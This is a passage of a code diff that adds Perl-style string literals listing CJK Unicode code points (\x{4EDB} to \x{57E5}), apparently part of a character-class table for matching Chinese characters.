+'\x{4EDB}\x{4EDC}\x{4EDD}\x{4EDE}\x{4EDF}\x{4EE0}\x{4EE1}\x{4EE2}\x{4EE3}' .
+'\x{4EE4}\x{4EE5}\x{4EE6}\x{4EE8}\x{4EE9}\x{4EEA}\x{4EEB}\x{4EEC}\x{4EEF}' .
+'\x{4EF0}\x{4EF1}\x{4EF2}\x{4EF3}\x{4EF4}\x{4EF5}\x{4EF6}\x{4EF7}\x{4EFB}' .
+'\x{4EFD}\x{4EFF}\x{4F00}\x{4F01}\x{4F02}\x{4F03}\x{4F04}\x{4F05}\x{4F06}' .
+'\x{4F08}\x{4F09}\x{4F0A}\x{4F0B}\x{4F0C}\x{4F0D}\x{4F0E}\x{4F0F}\x{4F10}' .
+'\x{4F11}\x{4F12}\x{4F13}\x{4F14}\x{4F15}\x{4F17}\x{4F18}\x{4F19}\x{4F1A}' .
+'\x{4F1B}\x{4F1C}\x{4F1D}\x{4F1E}\x{4F1F}\x{4F20}\x{4F21}\x{4F22}\x{4F23}' .
+'\x{4F24}\x{4F25}\x{4F26}\x{4F27}\x{4F29}\x{4F2A}\x{4F2B}\x{4F2C}\x{4F2D}' .
+'\x{4F2E}\x{4F2F}\x{4F30}\x{4F32}\x{4F33}\x{4F34}\x{4F36}\x{4F38}\x{4F39}' .
+'\x{4F3A}\x{4F3B}\x{4F3C}\x{4F3D}\x{4F3E}\x{4F3F}\x{4F41}\x{4F42}\x{4F43}' .
+'\x{4F45}\x{4F46}\x{4F47}\x{4F48}\x{4F49}\x{4F4A}\x{4F4B}\x{4F4C}\x{4F4D}' .
+'\x{4F4E}\x{4F4F}\x{4F50}\x{4F51}\x{4F52}\x{4F53}\x{4F54}\x{4F55}\x{4F56}' .
+'\x{4F57}\x{4F58}\x{4F59}\x{4F5A}\x{4F5B}\x{4F5C}\x{4F5D}\x{4F5E}\x{4F5F}' .
+'\x{4F60}\x{4F61}\x{4F62}\x{4F63}\x{4F64}\x{4F65}\x{4F66}\x{4F67}\x{4F68}' .
+'\x{4F69}\x{4F6A}\x{4F6B}\x{4F6C}\x{4F6D}\x{4F6E}\x{4F6F}\x{4F70}\x{4F72}' .
+'\x{4F73}\x{4F74}\x{4F75}\x{4F76}\x{4F77}\x{4F78}\x{4F79}\x{4F7A}\x{4F7B}' .
+'\x{4F7C}\x{4F7D}\x{4F7E}\x{4F7F}\x{4F80}\x{4F81}\x{4F82}\x{4F83}\x{4F84}' .
+'\x{4F85}\x{4F86}\x{4F87}\x{4F88}\x{4F89}\x{4F8A}\x{4F8B}\x{4F8D}\x{4F8F}' .
+'\x{4F90}\x{4F91}\x{4F92}\x{4F93}\x{4F94}\x{4F95}\x{4F96}\x{4F97}\x{4F98}' .
+'\x{4F99}\x{4F9A}\x{4F9B}\x{4F9C}\x{4F9D}\x{4F9E}\x{4F9F}\x{4FA0}\x{4FA1}' .
+'\x{4FA3}\x{4FA4}\x{4FA5}\x{4FA6}\x{4FA7}\x{4FA8}\x{4FA9}\x{4FAA}\x{4FAB}' .
+'\x{4FAC}\x{4FAE}\x{4FAF}\x{4FB0}\x{4FB1}\x{4FB2}\x{4FB3}\x{4FB4}\x{4FB5}' .
+'\x{4FB6}\x{4FB7}\x{4FB8}\x{4FB9}\x{4FBA}\x{4FBB}\x{4FBC}\x{4FBE}\x{4FBF}' .
+'\x{4FC0}\x{4FC1}\x{4FC2}\x{4FC3}\x{4FC4}\x{4FC5}\x{4FC7}\x{4FC9}\x{4FCA}' .
+'\x{4FCB}\x{4FCD}\x{4FCE}\x{4FCF}\x{4FD0}\x{4FD1}\x{4FD2}\x{4FD3}\x{4FD4}' .
+'\x{4FD5}\x{4FD6}\x{4FD7}\x{4FD8}\x{4FD9}\x{4FDA}\x{4FDB}\x{4FDC}\x{4FDD}' .
+'\x{4FDE}\x{4FDF}\x{4FE0}\x{4FE1}\x{4FE3}\x{4FE4}\x{4FE5}\x{4FE6}\x{4FE7}' .
+'\x{4FE8}\x{4FE9}\x{4FEA}\x{4FEB}\x{4FEC}\x{4FED}\x{4FEE}\x{4FEF}\x{4FF0}' .
+'\x{4FF1}\x{4FF2}\x{4FF3}\x{4FF4}\x{4FF5}\x{4FF6}\x{4FF7}\x{4FF8}\x{4FF9}' .
+'\x{4FFA}\x{4FFB}\x{4FFE}\x{4FFF}\x{5000}\x{5001}\x{5002}\x{5003}\x{5004}' .
+'\x{5005}\x{5006}\x{5007}\x{5008}\x{5009}\x{500A}\x{500B}\x{500C}\x{500D}' .
+'\x{500E}\x{500F}\x{5011}\x{5012}\x{5013}\x{5014}\x{5015}\x{5016}\x{5017}' .
+'\x{5018}\x{5019}\x{501A}\x{501B}\x{501C}\x{501D}\x{501E}\x{501F}\x{5020}' .
+'\x{5021}\x{5022}\x{5023}\x{5024}\x{5025}\x{5026}\x{5027}\x{5028}\x{5029}' .
+'\x{502A}\x{502B}\x{502C}\x{502D}\x{502E}\x{502F}\x{5030}\x{5031}\x{5032}' .
+'\x{5033}\x{5035}\x{5036}\x{5037}\x{5039}\x{503A}\x{503B}\x{503C}\x{503E}' .
+'\x{503F}\x{5040}\x{5041}\x{5043}\x{5044}\x{5045}\x{5046}\x{5047}\x{5048}' .
+'\x{5049}\x{504A}\x{504B}\x{504C}\x{504D}\x{504E}\x{504F}\x{5051}\x{5053}' .
+'\x{5054}\x{5055}\x{5056}\x{5057}\x{5059}\x{505A}\x{505B}\x{505C}\x{505D}' .
+'\x{505E}\x{505F}\x{5060}\x{5061}\x{5062}\x{5063}\x{5064}\x{5065}\x{5066}' .
+'\x{5067}\x{5068}\x{5069}\x{506A}\x{506B}\x{506C}\x{506D}\x{506E}\x{506F}' .
+'\x{5070}\x{5071}\x{5072}\x{5073}\x{5074}\x{5075}\x{5076}\x{5077}\x{5078}' .
+'\x{5079}\x{507A}\x{507B}\x{507D}\x{507E}\x{507F}\x{5080}\x{5082}\x{5083}' .
+'\x{5084}\x{5085}\x{5086}\x{5087}\x{5088}\x{5089}\x{508A}\x{508B}\x{508C}' .
+'\x{508D}\x{508E}\x{508F}\x{5090}\x{5091}\x{5092}\x{5094}\x{5095}\x{5096}' .
+'\x{5098}\x{5099}\x{509A}\x{509B}\x{509C}\x{509D}\x{509E}\x{50A2}\x{50A3}' .
+'\x{50A4}\x{50A5}\x{50A6}\x{50A7}\x{50A8}\x{50A9}\x{50AA}\x{50AB}\x{50AC}' .
+'\x{50AD}\x{50AE}\x{50AF}\x{50B0}\x{50B1}\x{50B2}\x{50B3}\x{50B4}\x{50B5}' .
+'\x{50B6}\x{50B7}\x{50B8}\x{50BA}\x{50BB}\x{50BC}\x{50BD}\x{50BE}\x{50BF}' .
+'\x{50C0}\x{50C1}\x{50C2}\x{50C4}\x{50C5}\x{50C6}\x{50C7}\x{50C8}\x{50C9}' .
+'\x{50CA}\x{50CB}\x{50CC}\x{50CD}\x{50CE}\x{50CF}\x{50D0}\x{50D1}\x{50D2}' .
+'\x{50D3}\x{50D4}\x{50D5}\x{50D6}\x{50D7}\x{50D9}\x{50DA}\x{50DB}\x{50DC}' .
+'\x{50DD}\x{50DE}\x{50E0}\x{50E3}\x{50E4}\x{50E5}\x{50E6}\x{50E7}\x{50E8}' .
+'\x{50E9}\x{50EA}\x{50EC}\x{50ED}\x{50EE}\x{50EF}\x{50F0}\x{50F1}\x{50F2}' .
+'\x{50F3}\x{50F5}\x{50F6}\x{50F8}\x{50F9}\x{50FA}\x{50FB}\x{50FC}\x{50FD}' .
+'\x{50FE}\x{50FF}\x{5100}\x{5101}\x{5102}\x{5103}\x{5104}\x{5105}\x{5106}' .
+'\x{5107}\x{5108}\x{5109}\x{510A}\x{510B}\x{510C}\x{510D}\x{510E}\x{510F}' .
+'\x{5110}\x{5111}\x{5112}\x{5113}\x{5114}\x{5115}\x{5116}\x{5117}\x{5118}' .
+'\x{5119}\x{511A}\x{511C}\x{511D}\x{511E}\x{511F}\x{5120}\x{5121}\x{5122}' .
+'\x{5123}\x{5124}\x{5125}\x{5126}\x{5127}\x{5129}\x{512A}\x{512C}\x{512D}' .
+'\x{512E}\x{512F}\x{5130}\x{5131}\x{5132}\x{5133}\x{5134}\x{5135}\x{5136}' .
+'\x{5137}\x{5138}\x{5139}\x{513A}\x{513B}\x{513C}\x{513D}\x{513E}\x{513F}' .
+'\x{5140}\x{5141}\x{5143}\x{5144}\x{5145}\x{5146}\x{5147}\x{5148}\x{5149}' .
+'\x{514B}\x{514C}\x{514D}\x{514E}\x{5150}\x{5151}\x{5152}\x{5154}\x{5155}' .
+'\x{5156}\x{5157}\x{5159}\x{515A}\x{515B}\x{515C}\x{515D}\x{515E}\x{515F}' .
+'\x{5161}\x{5162}\x{5163}\x{5165}\x{5166}\x{5167}\x{5168}\x{5169}\x{516A}' .
+'\x{516B}\x{516C}\x{516D}\x{516E}\x{516F}\x{5170}\x{5171}\x{5173}\x{5174}' .
+'\x{5175}\x{5176}\x{5177}\x{5178}\x{5179}\x{517A}\x{517B}\x{517C}\x{517D}' .
+'\x{517F}\x{5180}\x{5181}\x{5182}\x{5185}\x{5186}\x{5187}\x{5188}\x{5189}' .
+'\x{518A}\x{518B}\x{518C}\x{518D}\x{518F}\x{5190}\x{5191}\x{5192}\x{5193}' .
+'\x{5194}\x{5195}\x{5196}\x{5197}\x{5198}\x{5199}\x{519A}\x{519B}\x{519C}' .
+'\x{519D}\x{519E}\x{519F}\x{51A0}\x{51A2}\x{51A4}\x{51A5}\x{51A6}\x{51A7}' .
+'\x{51A8}\x{51AA}\x{51AB}\x{51AC}\x{51AE}\x{51AF}\x{51B0}\x{51B1}\x{51B2}' .
+'\x{51B3}\x{51B5}\x{51B6}\x{51B7}\x{51B9}\x{51BB}\x{51BC}\x{51BD}\x{51BE}' .
+'\x{51BF}\x{51C0}\x{51C1}\x{51C3}\x{51C4}\x{51C5}\x{51C6}\x{51C7}\x{51C8}' .
+'\x{51C9}\x{51CA}\x{51CB}\x{51CC}\x{51CD}\x{51CE}\x{51CF}\x{51D0}\x{51D1}' .
+'\x{51D4}\x{51D5}\x{51D6}\x{51D7}\x{51D8}\x{51D9}\x{51DA}\x{51DB}\x{51DC}' .
+'\x{51DD}\x{51DE}\x{51E0}\x{51E1}\x{51E2}\x{51E3}\x{51E4}\x{51E5}\x{51E7}' .
+'\x{51E8}\x{51E9}\x{51EA}\x{51EB}\x{51ED}\x{51EF}\x{51F0}\x{51F1}\x{51F3}' .
+'\x{51F4}\x{51F5}\x{51F6}\x{51F7}\x{51F8}\x{51F9}\x{51FA}\x{51FB}\x{51FC}' .
+'\x{51FD}\x{51FE}\x{51FF}\x{5200}\x{5201}\x{5202}\x{5203}\x{5204}\x{5205}' .
+'\x{5206}\x{5207}\x{5208}\x{5209}\x{520A}\x{520B}\x{520C}\x{520D}\x{520E}' .
+'\x{520F}\x{5210}\x{5211}\x{5212}\x{5213}\x{5214}\x{5215}\x{5216}\x{5217}' .
+'\x{5218}\x{5219}\x{521A}\x{521B}\x{521C}\x{521D}\x{521E}\x{521F}\x{5220}' .
+'\x{5221}\x{5222}\x{5223}\x{5224}\x{5225}\x{5226}\x{5228}\x{5229}\x{522A}' .
+'\x{522B}\x{522C}\x{522D}\x{522E}\x{522F}\x{5230}\x{5231}\x{5232}\x{5233}' .
+'\x{5234}\x{5235}\x{5236}\x{5237}\x{5238}\x{5239}\x{523A}\x{523B}\x{523C}' .
+'\x{523D}\x{523E}\x{523F}\x{5240}\x{5241}\x{5242}\x{5243}\x{5244}\x{5245}' .
+'\x{5246}\x{5247}\x{5248}\x{5249}\x{524A}\x{524B}\x{524C}\x{524D}\x{524E}' .
+'\x{5250}\x{5251}\x{5252}\x{5254}\x{5255}\x{5256}\x{5257}\x{5258}\x{5259}' .
+'\x{525A}\x{525B}\x{525C}\x{525D}\x{525E}\x{525F}\x{5260}\x{5261}\x{5262}' .
+'\x{5263}\x{5264}\x{5265}\x{5267}\x{5268}\x{5269}\x{526A}\x{526B}\x{526C}' .
+'\x{526D}\x{526E}\x{526F}\x{5270}\x{5272}\x{5273}\x{5274}\x{5275}\x{5276}' .
+'\x{5277}\x{5278}\x{527A}\x{527B}\x{527C}\x{527D}\x{527E}\x{527F}\x{5280}' .
+'\x{5281}\x{5282}\x{5283}\x{5284}\x{5286}\x{5287}\x{5288}\x{5289}\x{528A}' .
+'\x{528B}\x{528C}\x{528D}\x{528F}\x{5290}\x{5291}\x{5292}\x{5293}\x{5294}' .
+'\x{5295}\x{5296}\x{5297}\x{5298}\x{5299}\x{529A}\x{529B}\x{529C}\x{529D}' .
+'\x{529E}\x{529F}\x{52A0}\x{52A1}\x{52A2}\x{52A3}\x{52A5}\x{52A6}\x{52A7}' .
+'\x{52A8}\x{52A9}\x{52AA}\x{52AB}\x{52AC}\x{52AD}\x{52AE}\x{52AF}\x{52B0}' .
+'\x{52B1}\x{52B2}\x{52B3}\x{52B4}\x{52B5}\x{52B6}\x{52B7}\x{52B8}\x{52B9}' .
+'\x{52BA}\x{52BB}\x{52BC}\x{52BD}\x{52BE}\x{52BF}\x{52C0}\x{52C1}\x{52C2}' .
+'\x{52C3}\x{52C6}\x{52C7}\x{52C9}\x{52CA}\x{52CB}\x{52CD}\x{52CF}\x{52D0}' .
+'\x{52D2}\x{52D3}\x{52D5}\x{52D6}\x{52D7}\x{52D8}\x{52D9}\x{52DA}\x{52DB}' .
+'\x{52DC}\x{52DD}\x{52DE}\x{52DF}\x{52E0}\x{52E2}\x{52E3}\x{52E4}\x{52E6}' .
+'\x{52E7}\x{52E8}\x{52E9}\x{52EA}\x{52EB}\x{52EC}\x{52ED}\x{52EF}\x{52F0}' .
+'\x{52F1}\x{52F2}\x{52F3}\x{52F4}\x{52F5}\x{52F6}\x{52F7}\x{52F8}\x{52F9}' .
+'\x{52FA}\x{52FB}\x{52FC}\x{52FD}\x{52FE}\x{52FF}\x{5300}\x{5301}\x{5302}' .
+'\x{5305}\x{5306}\x{5307}\x{5308}\x{5309}\x{530A}\x{530B}\x{530C}\x{530D}' .
+'\x{530E}\x{530F}\x{5310}\x{5311}\x{5312}\x{5313}\x{5314}\x{5315}\x{5316}' .
+'\x{5317}\x{5319}\x{531A}\x{531C}\x{531D}\x{531F}\x{5320}\x{5321}\x{5322}' .
+'\x{5323}\x{5324}\x{5325}\x{5326}\x{5328}\x{532A}\x{532B}\x{532C}\x{532D}' .
+'\x{532E}\x{532F}\x{5330}\x{5331}\x{5333}\x{5334}\x{5337}\x{5339}\x{533A}' .
+'\x{533B}\x{533C}\x{533D}\x{533E}\x{533F}\x{5340}\x{5341}\x{5343}\x{5344}' .
+'\x{5345}\x{5346}\x{5347}\x{5348}\x{5349}\x{534A}\x{534B}\x{534C}\x{534D}' .
+'\x{534E}\x{534F}\x{5350}\x{5351}\x{5352}\x{5353}\x{5354}\x{5355}\x{5356}' .
+'\x{5357}\x{5358}\x{5359}\x{535A}\x{535C}\x{535E}\x{535F}\x{5360}\x{5361}' .
+'\x{5362}\x{5363}\x{5364}\x{5365}\x{5366}\x{5367}\x{5369}\x{536B}\x{536C}' .
+'\x{536E}\x{536F}\x{5370}\x{5371}\x{5372}\x{5373}\x{5374}\x{5375}\x{5376}' .
+'\x{5377}\x{5378}\x{5379}\x{537A}\x{537B}\x{537C}\x{537D}\x{537E}\x{537F}' .
+'\x{5381}\x{5382}\x{5383}\x{5384}\x{5385}\x{5386}\x{5387}\x{5388}\x{5389}' .
+'\x{538A}\x{538B}\x{538C}\x{538D}\x{538E}\x{538F}\x{5390}\x{5391}\x{5392}' .
+'\x{5393}\x{5394}\x{5395}\x{5396}\x{5397}\x{5398}\x{5399}\x{539A}\x{539B}' .
+'\x{539C}\x{539D}\x{539E}\x{539F}\x{53A0}\x{53A2}\x{53A3}\x{53A4}\x{53A5}' .
+'\x{53A6}\x{53A7}\x{53A8}\x{53A9}\x{53AC}\x{53AD}\x{53AE}\x{53B0}\x{53B1}' .
+'\x{53B2}\x{53B3}\x{53B4}\x{53B5}\x{53B6}\x{53B7}\x{53B8}\x{53B9}\x{53BB}' .
+'\x{53BC}\x{53BD}\x{53BE}\x{53BF}\x{53C0}\x{53C1}\x{53C2}\x{53C3}\x{53C4}' .
+'\x{53C6}\x{53C7}\x{53C8}\x{53C9}\x{53CA}\x{53CB}\x{53CC}\x{53CD}\x{53CE}' .
+'\x{53D0}\x{53D1}\x{53D2}\x{53D3}\x{53D4}\x{53D5}\x{53D6}\x{53D7}\x{53D8}' .
+'\x{53D9}\x{53DB}\x{53DC}\x{53DF}\x{53E0}\x{53E1}\x{53E2}\x{53E3}\x{53E4}' .
+'\x{53E5}\x{53E6}\x{53E8}\x{53E9}\x{53EA}\x{53EB}\x{53EC}\x{53ED}\x{53EE}' .
+'\x{53EF}\x{53F0}\x{53F1}\x{53F2}\x{53F3}\x{53F4}\x{53F5}\x{53F6}\x{53F7}' .
+'\x{53F8}\x{53F9}\x{53FA}\x{53FB}\x{53FC}\x{53FD}\x{53FE}\x{5401}\x{5402}' .
+'\x{5403}\x{5404}\x{5405}\x{5406}\x{5407}\x{5408}\x{5409}\x{540A}\x{540B}' .
+'\x{540C}\x{540D}\x{540E}\x{540F}\x{5410}\x{5411}\x{5412}\x{5413}\x{5414}' .
+'\x{5415}\x{5416}\x{5417}\x{5418}\x{5419}\x{541B}\x{541C}\x{541D}\x{541E}' .
+'\x{541F}\x{5420}\x{5421}\x{5423}\x{5424}\x{5425}\x{5426}\x{5427}\x{5428}' .
+'\x{5429}\x{542A}\x{542B}\x{542C}\x{542D}\x{542E}\x{542F}\x{5430}\x{5431}' .
+'\x{5432}\x{5433}\x{5434}\x{5435}\x{5436}\x{5437}\x{5438}\x{5439}\x{543A}' .
+'\x{543B}\x{543C}\x{543D}\x{543E}\x{543F}\x{5440}\x{5441}\x{5442}\x{5443}' .
+'\x{5444}\x{5445}\x{5446}\x{5447}\x{5448}\x{5449}\x{544A}\x{544B}\x{544D}' .
+'\x{544E}\x{544F}\x{5450}\x{5451}\x{5452}\x{5453}\x{5454}\x{5455}\x{5456}' .
+'\x{5457}\x{5458}\x{5459}\x{545A}\x{545B}\x{545C}\x{545E}\x{545F}\x{5460}' .
+'\x{5461}\x{5462}\x{5463}\x{5464}\x{5465}\x{5466}\x{5467}\x{5468}\x{546A}' .
+'\x{546B}\x{546C}\x{546D}\x{546E}\x{546F}\x{5470}\x{5471}\x{5472}\x{5473}' .
+'\x{5474}\x{5475}\x{5476}\x{5477}\x{5478}\x{5479}\x{547A}\x{547B}\x{547C}' .
+'\x{547D}\x{547E}\x{547F}\x{5480}\x{5481}\x{5482}\x{5483}\x{5484}\x{5485}' .
+'\x{5486}\x{5487}\x{5488}\x{5489}\x{548B}\x{548C}\x{548D}\x{548E}\x{548F}' .
+'\x{5490}\x{5491}\x{5492}\x{5493}\x{5494}\x{5495}\x{5496}\x{5497}\x{5498}' .
+'\x{5499}\x{549A}\x{549B}\x{549C}\x{549D}\x{549E}\x{549F}\x{54A0}\x{54A1}' .
+'\x{54A2}\x{54A3}\x{54A4}\x{54A5}\x{54A6}\x{54A7}\x{54A8}\x{54A9}\x{54AA}' .
+'\x{54AB}\x{54AC}\x{54AD}\x{54AE}\x{54AF}\x{54B0}\x{54B1}\x{54B2}\x{54B3}' .
+'\x{54B4}\x{54B6}\x{54B7}\x{54B8}\x{54B9}\x{54BA}\x{54BB}\x{54BC}\x{54BD}' .
+'\x{54BE}\x{54BF}\x{54C0}\x{54C1}\x{54C2}\x{54C3}\x{54C4}\x{54C5}\x{54C6}' .
+'\x{54C7}\x{54C8}\x{54C9}\x{54CA}\x{54CB}\x{54CC}\x{54CD}\x{54CE}\x{54CF}' .
+'\x{54D0}\x{54D1}\x{54D2}\x{54D3}\x{54D4}\x{54D5}\x{54D6}\x{54D7}\x{54D8}' .
+'\x{54D9}\x{54DA}\x{54DB}\x{54DC}\x{54DD}\x{54DE}\x{54DF}\x{54E0}\x{54E1}' .
+'\x{54E2}\x{54E3}\x{54E4}\x{54E5}\x{54E6}\x{54E7}\x{54E8}\x{54E9}\x{54EA}' .
+'\x{54EB}\x{54EC}\x{54ED}\x{54EE}\x{54EF}\x{54F0}\x{54F1}\x{54F2}\x{54F3}' .
+'\x{54F4}\x{54F5}\x{54F7}\x{54F8}\x{54F9}\x{54FA}\x{54FB}\x{54FC}\x{54FD}' .
+'\x{54FE}\x{54FF}\x{5500}\x{5501}\x{5502}\x{5503}\x{5504}\x{5505}\x{5506}' .
+'\x{5507}\x{5508}\x{5509}\x{550A}\x{550B}\x{550C}\x{550D}\x{550E}\x{550F}' .
+'\x{5510}\x{5511}\x{5512}\x{5513}\x{5514}\x{5516}\x{5517}\x{551A}\x{551B}' .
+'\x{551C}\x{551D}\x{551E}\x{551F}\x{5520}\x{5521}\x{5522}\x{5523}\x{5524}' .
+'\x{5525}\x{5526}\x{5527}\x{5528}\x{5529}\x{552A}\x{552B}\x{552C}\x{552D}' .
+'\x{552E}\x{552F}\x{5530}\x{5531}\x{5532}\x{5533}\x{5534}\x{5535}\x{5536}' .
+'\x{5537}\x{5538}\x{5539}\x{553A}\x{553B}\x{553C}\x{553D}\x{553E}\x{553F}' .
+'\x{5540}\x{5541}\x{5542}\x{5543}\x{5544}\x{5545}\x{5546}\x{5548}\x{5549}' .
+'\x{554A}\x{554B}\x{554C}\x{554D}\x{554E}\x{554F}\x{5550}\x{5551}\x{5552}' .
+'\x{5553}\x{5554}\x{5555}\x{5556}\x{5557}\x{5558}\x{5559}\x{555A}\x{555B}' .
+'\x{555C}\x{555D}\x{555E}\x{555F}\x{5561}\x{5562}\x{5563}\x{5564}\x{5565}' .
+'\x{5566}\x{5567}\x{5568}\x{5569}\x{556A}\x{556B}\x{556C}\x{556D}\x{556E}' .
+'\x{556F}\x{5570}\x{5571}\x{5572}\x{5573}\x{5574}\x{5575}\x{5576}\x{5577}' .
+'\x{5578}\x{5579}\x{557B}\x{557C}\x{557D}\x{557E}\x{557F}\x{5580}\x{5581}' .
+'\x{5582}\x{5583}\x{5584}\x{5585}\x{5586}\x{5587}\x{5588}\x{5589}\x{558A}' .
+'\x{558B}\x{558C}\x{558D}\x{558E}\x{558F}\x{5590}\x{5591}\x{5592}\x{5593}' .
+'\x{5594}\x{5595}\x{5596}\x{5597}\x{5598}\x{5599}\x{559A}\x{559B}\x{559C}' .
+'\x{559D}\x{559E}\x{559F}\x{55A0}\x{55A1}\x{55A2}\x{55A3}\x{55A4}\x{55A5}' .
+'\x{55A6}\x{55A7}\x{55A8}\x{55A9}\x{55AA}\x{55AB}\x{55AC}\x{55AD}\x{55AE}' .
+'\x{55AF}\x{55B0}\x{55B1}\x{55B2}\x{55B3}\x{55B4}\x{55B5}\x{55B6}\x{55B7}' .
+'\x{55B8}\x{55B9}\x{55BA}\x{55BB}\x{55BC}\x{55BD}\x{55BE}\x{55BF}\x{55C0}' .
+'\x{55C1}\x{55C2}\x{55C3}\x{55C4}\x{55C5}\x{55C6}\x{55C7}\x{55C8}\x{55C9}' .
+'\x{55CA}\x{55CB}\x{55CC}\x{55CD}\x{55CE}\x{55CF}\x{55D0}\x{55D1}\x{55D2}' .
+'\x{55D3}\x{55D4}\x{55D5}\x{55D6}\x{55D7}\x{55D8}\x{55D9}\x{55DA}\x{55DB}' .
+'\x{55DC}\x{55DD}\x{55DE}\x{55DF}\x{55E1}\x{55E2}\x{55E3}\x{55E4}\x{55E5}' .
+'\x{55E6}\x{55E7}\x{55E8}\x{55E9}\x{55EA}\x{55EB}\x{55EC}\x{55ED}\x{55EE}' .
+'\x{55EF}\x{55F0}\x{55F1}\x{55F2}\x{55F3}\x{55F4}\x{55F5}\x{55F6}\x{55F7}' .
+'\x{55F9}\x{55FA}\x{55FB}\x{55FC}\x{55FD}\x{55FE}\x{55FF}\x{5600}\x{5601}' .
+'\x{5602}\x{5603}\x{5604}\x{5606}\x{5607}\x{5608}\x{5609}\x{560C}\x{560D}' .
+'\x{560E}\x{560F}\x{5610}\x{5611}\x{5612}\x{5613}\x{5614}\x{5615}\x{5616}' .
+'\x{5617}\x{5618}\x{5619}\x{561A}\x{561B}\x{561C}\x{561D}\x{561E}\x{561F}' .
+'\x{5621}\x{5622}\x{5623}\x{5624}\x{5625}\x{5626}\x{5627}\x{5628}\x{5629}' .
+'\x{562A}\x{562C}\x{562D}\x{562E}\x{562F}\x{5630}\x{5631}\x{5632}\x{5633}' .
+'\x{5634}\x{5635}\x{5636}\x{5638}\x{5639}\x{563A}\x{563B}\x{563D}\x{563E}' .
+'\x{563F}\x{5640}\x{5641}\x{5642}\x{5643}\x{5645}\x{5646}\x{5647}\x{5648}' .
+'\x{5649}\x{564A}\x{564C}\x{564D}\x{564E}\x{564F}\x{5650}\x{5652}\x{5653}' .
+'\x{5654}\x{5655}\x{5657}\x{5658}\x{5659}\x{565A}\x{565B}\x{565C}\x{565D}' .
+'\x{565E}\x{5660}\x{5662}\x{5663}\x{5664}\x{5665}\x{5666}\x{5667}\x{5668}' .
+'\x{5669}\x{566A}\x{566B}\x{566C}\x{566D}\x{566E}\x{566F}\x{5670}\x{5671}' .
+'\x{5672}\x{5673}\x{5674}\x{5676}\x{5677}\x{5678}\x{5679}\x{567A}\x{567B}' .
+'\x{567C}\x{567E}\x{567F}\x{5680}\x{5681}\x{5682}\x{5683}\x{5684}\x{5685}' .
+'\x{5686}\x{5687}\x{568A}\x{568C}\x{568D}\x{568E}\x{568F}\x{5690}\x{5691}' .
+'\x{5692}\x{5693}\x{5694}\x{5695}\x{5697}\x{5698}\x{5699}\x{569A}\x{569B}' .
+'\x{569C}\x{569D}\x{569F}\x{56A0}\x{56A1}\x{56A3}\x{56A4}\x{56A5}\x{56A6}' .
+'\x{56A7}\x{56A8}\x{56A9}\x{56AA}\x{56AB}\x{56AC}\x{56AD}\x{56AE}\x{56AF}' .
+'\x{56B0}\x{56B1}\x{56B2}\x{56B3}\x{56B4}\x{56B5}\x{56B6}\x{56B7}\x{56B8}' .
+'\x{56B9}\x{56BB}\x{56BC}\x{56BD}\x{56BE}\x{56BF}\x{56C0}\x{56C1}\x{56C2}' .
+'\x{56C3}\x{56C4}\x{56C5}\x{56C6}\x{56C7}\x{56C8}\x{56C9}\x{56CA}\x{56CB}' .
+'\x{56CC}\x{56CD}\x{56CE}\x{56D0}\x{56D1}\x{56D2}\x{56D3}\x{56D4}\x{56D5}' .
+'\x{56D6}\x{56D7}\x{56D8}\x{56DA}\x{56DB}\x{56DC}\x{56DD}\x{56DE}\x{56DF}' .
+'\x{56E0}\x{56E1}\x{56E2}\x{56E3}\x{56E4}\x{56E5}\x{56E7}\x{56E8}\x{56E9}' .
+'\x{56EA}\x{56EB}\x{56EC}\x{56ED}\x{56EE}\x{56EF}\x{56F0}\x{56F1}\x{56F2}' .
+'\x{56F3}\x{56F4}\x{56F5}\x{56F7}\x{56F9}\x{56FA}\x{56FD}\x{56FE}\x{56FF}' .
+'\x{5700}\x{5701}\x{5702}\x{5703}\x{5704}\x{5706}\x{5707}\x{5708}\x{5709}' .
+'\x{570A}\x{570B}\x{570C}\x{570D}\x{570E}\x{570F}\x{5710}\x{5712}\x{5713}' .
+'\x{5714}\x{5715}\x{5716}\x{5718}\x{5719}\x{571A}\x{571B}\x{571C}\x{571D}' .
+'\x{571E}\x{571F}\x{5720}\x{5722}\x{5723}\x{5725}\x{5726}\x{5727}\x{5728}' .
+'\x{5729}\x{572A}\x{572B}\x{572C}\x{572D}\x{572E}\x{572F}\x{5730}\x{5731}' .
+'\x{5732}\x{5733}\x{5734}\x{5735}\x{5736}\x{5737}\x{5738}\x{5739}\x{573A}' .
+'\x{573B}\x{573C}\x{573E}\x{573F}\x{5740}\x{5741}\x{5742}\x{5744}\x{5745}' .
+'\x{5746}\x{5747}\x{5749}\x{574A}\x{574B}\x{574C}\x{574D}\x{574E}\x{574F}' .
+'\x{5750}\x{5751}\x{5752}\x{5753}\x{5754}\x{5757}\x{5759}\x{575A}\x{575B}' .
+'\x{575C}\x{575D}\x{575E}\x{575F}\x{5760}\x{5761}\x{5762}\x{5764}\x{5765}' .
+'\x{5766}\x{5767}\x{5768}\x{5769}\x{576A}\x{576B}\x{576C}\x{576D}\x{576F}' .
+'\x{5770}\x{5771}\x{5772}\x{5773}\x{5774}\x{5775}\x{5776}\x{5777}\x{5779}' .
+'\x{577A}\x{577B}\x{577C}\x{577D}\x{577E}\x{577F}\x{5780}\x{5782}\x{5783}' .
+'\x{5784}\x{5785}\x{5786}\x{5788}\x{5789}\x{578A}\x{578B}\x{578C}\x{578D}' .
+'\x{578E}\x{578F}\x{5790}\x{5791}\x{5792}\x{5793}\x{5794}\x{5795}\x{5797}' .
+'\x{5798}\x{5799}\x{579A}\x{579B}\x{579C}\x{579D}\x{579E}\x{579F}\x{57A0}' .
+'\x{57A1}\x{57A2}\x{57A3}\x{57A4}\x{57A5}\x{57A6}\x{57A7}\x{57A9}\x{57AA}' .
+'\x{57AB}\x{57AC}\x{57AD}\x{57AE}\x{57AF}\x{57B0}\x{57B1}\x{57B2}\x{57B3}' .
+'\x{57B4}\x{57B5}\x{57B6}\x{57B7}\x{57B8}\x{57B9}\x{57BA}\x{57BB}\x{57BC}' .
+'\x{57BD}\x{57BE}\x{57BF}\x{57C0}\x{57C1}\x{57C2}\x{57C3}\x{57C4}\x{57C5}' .
+'\x{57C6}\x{57C7}\x{57C8}\x{57C9}\x{57CB}\x{57CC}\x{57CD}\x{57CE}\x{57CF}' .
+'\x{57D0}\x{57D2}\x{57D3}\x{57D4}\x{57D5}\x{57D6}\x{57D8}\x{57D9}\x{57DA}' .
+'\x{57DC}\x{57DD}\x{57DF}\x{57E0}\x{57E1}\x{57E2}\x{57E3}\x{57E4}\x{57E5}' .
